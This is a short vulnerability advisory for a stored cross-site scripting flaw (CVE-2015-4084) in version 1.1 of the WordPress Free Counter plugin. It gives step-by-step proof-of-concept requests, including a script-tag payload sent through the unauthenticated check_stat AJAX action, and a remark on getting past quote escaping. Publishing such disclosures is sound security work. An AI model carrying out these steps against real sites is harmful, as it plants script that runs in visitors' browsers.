WordPress Plugin Free Counter 1.1 - Persistent Cross-Site Scripting

# Exploit Title: WordPress Free Counter Plugin [Stored XSS]
# Date: 2015/05/25
# Exploit Author: Panagiotis Vagenas
# Contact: https://twitter.com/panVagenas
# Vendor Homepage: http://www.free-counter.org
# Software Link: https://wordpress.org/plugins/free-counter/
# Version: 1.1
# Tested on: WordPress 4.2.2
# Category: webapps
# CVE: CVE-2015-4084

1. Description

Any authenticated or non-authenticated user can perform a stored XSS 
attack simply by exploiting wp_ajax_nopriv_check_stat action.
Plugin uses a widget to display website's visits, so any page that 
contains this widget will also load the malicious JS code.

2. Proof of Concept

* Send a post request to `http://www.free-counter.org/Api.php` in order 
to reveal the counter id of the vulnerable site. The POST data must 
contain the following vars: 
`action=create_new_counter&site_url=http%3A%2f%my.vulnerable.website.com`
* As a response we get a serialized indexed array. The value that we 
need to know is the 'counter_id'.
* Send a post request to 
`http://my.vulnerable.website.com/wp-admin/admin-ajax.php` with data: 
`action=check_stat&id_counter=<counter_id from step 
2>&value_=<script>alert(1)</script>`
* Visit a page of the infected website that displays plugin's widget.

Note that the plugin uses the update_option function to store the 
$_POST['value_'] contents to DB so any code inserted there will be 
escaped. Even though a malicious user can omit the quotes in the src 
attr of the script tag. Most modern browsers will treat the tag as they 
were there.

3. Solution

No official solution yet exists.